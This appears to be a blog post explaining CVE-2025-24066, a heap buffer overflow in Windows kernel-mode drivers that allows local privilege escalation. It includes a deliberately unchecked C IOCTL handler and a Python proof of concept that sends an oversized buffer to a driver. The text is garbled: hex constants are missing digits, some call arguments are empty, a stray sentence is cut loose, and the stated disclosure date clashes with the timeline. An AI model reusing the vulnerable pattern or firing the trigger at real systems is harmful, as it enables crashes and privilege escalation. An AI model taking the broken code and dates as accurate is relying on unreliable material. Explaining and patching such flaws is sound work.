CVE-2025-24066 - Heap-based Buffer Overflow in Windows Kernel-Mode Drivers Lets Attackers Elevate Local Privileges

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In early June 2025, security researchers disclosed a new vulnerability in various Microsoft Windows kernel-mode drivers. The vulnerability, officially tracked as CVE-2025-24066, allows attackers who already have local access to a vulnerable system to exploit a heap-based buffer overflow, potentially giving themselves elevated privileges—including administrator rights.

This post gives you an exclusive, easy-to-understand deep dive into what this vulnerability is, how it can be exploited, and what you can do to protect your systems.

What is CVE-2025-24066?

CVE-2025-24066 was found in the way certain Windows kernel-mode drivers handle user-supplied input for internal buffer management. When a malformed request is made to these drivers, they can be tricked into writing data beyond the bounds of an allocated heap buffer. This, in turn, can allow a local—already authenticated—user to overwrite sensitive data structures in memory, and eventually, gain SYSTEM or administrator privileges.

> Key Point: This is not a remote exploit. The attacker needs to be able to run code or commands on the machine.

Vulnerable third-party drivers reusing impacted Microsoft code

For a detailed list, see Microsoft’s official advisory:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24066

Let’s walk through what happens, step by step.

1. User Access: The attacker already has some local access (like through guest, unprivileged user account, or via malware).
2. Crafted IOCTL Call: The attacker submits a specially crafted IOCTL (Input/Output Control) request to the vulnerable driver.
3. Heap Overflow: The driver’s code fails to check the input length and writes past the edge of a heap buffer.
4. Privilege Elevation: By carefully crafting the overflowed data, the attacker can overwrite security tokens or pointers—granting themselves higher privileges or executing code as “SYSTEM.”

Vulnerable Code Example

Below is a simplified snippet (in C) that illustrates the core of the bug. The real code is more complex, but this gets across the main idea:

NTSTATUS VulnerableIoctlHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION  stack = IoGetCurrentIrpStackLocation(Irp);
    SIZE_T userSize = stack->Parameters.DeviceIoControl.InputBufferLength;

    // Allocate a heap buffer, using the input size
    char *buffer = (char *)ExAllocatePool(NonPagedPool, x100);
    if (!buffer) return STATUS_INSUFFICIENT_RESOURCES;

    // No check: the user can give userSize > x100!
    RtlCopyMemory(buffer, Irp->AssociatedIrp.SystemBuffer, userSize);

    // ... do stuff ...

    ExFreePool(buffer);
    return STATUS_SUCCESS;
}

Where’s the mistake?
Notice how the code allocates only x100 bytes, but copies up to userSize bytes—whatever the user specifies. By sending a bigger userSize, the attacker maliciously overwrites structures following the buffer on the heap.

Demonstration & Exploit Concept

As proof of concept, here is a simplified Python demo (using the ctypes library) that demonstrates sending a too-large buffer to a vulnerable device driver (assuming the driver is accessible as \\.\Vulndrv) on a test machine.

import ctypes
import win32file
import win32con

hDevice = win32file.CreateFile(
    r'\\.\Vulndrv',
    win32con.GENERIC_READ | win32con.GENERIC_WRITE,
    ,
    None,
    win32con.OPEN_EXISTING,
    ,
    None
)

IOCTL_CODE = x80002000  # Example value, varies per driver

# Create an overflow buffer
payload = b'\x41' * x200  # 512 bytes, overflows the 256-byte heap buffer

win32file.DeviceIoControl(
    hDevice,
    IOCTL_CODE,
    payload,
    , # Output buffer size
    None
)

*Note:* This code is for educational purposes. Running it on production systems can crash your computer or break things.

Disable security tools or escalate their malware’s capabilities.

This is a classic privilege escalation in modern Windows security attacks.

Remediation & Patches

Microsoft released patches in June 2025.

To mitigate

- Install Windows updates from June 2025 or later (see the official patch page).

References

- Microsoft Advisory: CVE-2025-24066
- NIST NVD Entry
- Heap Overflows and Kernel Exploits 101 (Project Zero)
- Windows Kernel-mode drivers: Secure Coding Guide (Microsoft Docs)

Final Thoughts

Heap-based buffer overflows in kernel-mode drivers like CVE-2025-24066 are always high-impact because they let attackers break out of restricted userland and take total control of systems. If you admin Windows machines, patch immediately. If you build drivers, rigorously validate all user input lengths—heap bugs are always lurking in unsafe copying functions.

Timeline

Published on: 03/11/2025 17:16:29 UTC
Last modified on: 04/29/2025 22:06:42 UTC